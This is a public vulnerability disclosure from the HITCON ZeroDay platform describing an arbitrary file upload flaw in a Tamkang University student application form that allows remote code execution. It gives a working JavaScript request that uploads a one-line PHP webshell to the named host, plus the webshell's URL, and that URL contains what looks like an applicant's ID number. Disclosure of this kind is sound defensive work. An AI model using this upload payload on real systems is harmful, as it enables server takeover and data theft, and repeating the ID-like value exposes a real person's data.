Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01164
- Vendor: 淡江大學
- Title: 淡江大學 2023 秋季班 大陸學生交流 申請表 Arbitrary File Upload Leads To PHP WebShell RCE
- Introduction: Arbitrary File Upload Leads To PHP WebShell RCE
處理狀態
目前狀態
公開
Last Update : 2025/09/26
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/09/05 22:37:45 : 新提交 (由 yusheng 更新此狀態)
- 2025/09/07 18:16:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:10:34 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:10:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:10:34 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/22 15:28:21 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/09/22 15:57:32 : 確認已修補 (由 yusheng 更新此狀態)
- 2025/09/26 03:00:21 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01164
- 通報者:cat1528985 (yusheng)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://w2.dce.tku.edu.tw/student_new/uploads/61010419980214511X/61010419980214511X-1-test95.php?cmd=whoami
敘述
承接 ZD-2025-01163,這次在上傳圖片的功能發現了漏洞
重現漏洞方式
- 觀察上傳圖片的 HTML 結構
- 用 js 構造一個上傳 PHP WebShell 的 HTTP Request
const fd = new FormData(); fd.append("myfile", new File([`<?php system($_GET['cmd']); ?>`], "test95.php")) fetch("https://w2.dce.tku.edu.tw/student_new/upload.php?idno=61010419980214511X&type=1", { "body": fd, "method": "POST", "mode": "cors", "credentials": "include" }); - 上傳成功,且測試可以執行
影響
RCE 可以控制整台主機,包含(但不限於)以下
- 提取 DB 內所有資料
- SSRF
- 內網滲透
- 讓 Web 服務中斷
- 建立持久化後門
- 提取機器內所有的資料
修補建議
- 上傳圖片的API嚴格實作檔案檢查
- PHP WebShell 檔案記得刪掉 https://w2.dce.tku.edu.tw/student_new/uploads/61010419980214511X/61010419980214511X-1-test95.php?cmd=whoami
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。